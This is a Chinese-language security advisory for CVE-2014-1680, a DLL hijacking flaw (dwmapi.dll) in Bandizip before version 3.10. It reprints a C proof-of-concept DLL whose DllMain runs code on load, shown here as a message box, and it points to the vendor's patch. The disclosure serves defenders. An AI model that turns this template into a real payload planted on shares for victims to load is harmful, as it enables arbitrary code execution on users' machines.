发布日期:2014-02-14
更新日期:2014-02-18
受影响系统:
bandisoft Bandizip 3.08
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CVE-2014-1680
Bandizip是免费的轻量级Zip压缩软件。
Bandisoft Bandizip 3.10之前版本加载库(例如dwmapi.dll)的方式不安全,攻击者通过诱使用户打开远程WebDAV或SMB共享上的文件,利用此漏洞可加载任意库。
<*来源:Osanda Malith Jayathissa (osandajayathissa@gmail.com)
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* Exploit Title: Bandizip 3.09 DLL Hijacking Exploit (dwmapi.dll)
* Date: February 5th 2014
* Author: Osanda Malith Jayathissa
* E-Mail: osandajayathissa<at>gmail.com
* Version: 3.09
* Vendor Homepage:
* Tested on: Windows XP SP2 en
* Vulnerable extensions: All Extensions
* CVE: CVE-2014-1680
*/
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int owned() {
MessageBox(0, "Bandizip DLL Hijacked\nOsanda Malith", "POC", MB_OK);
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
bandisoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: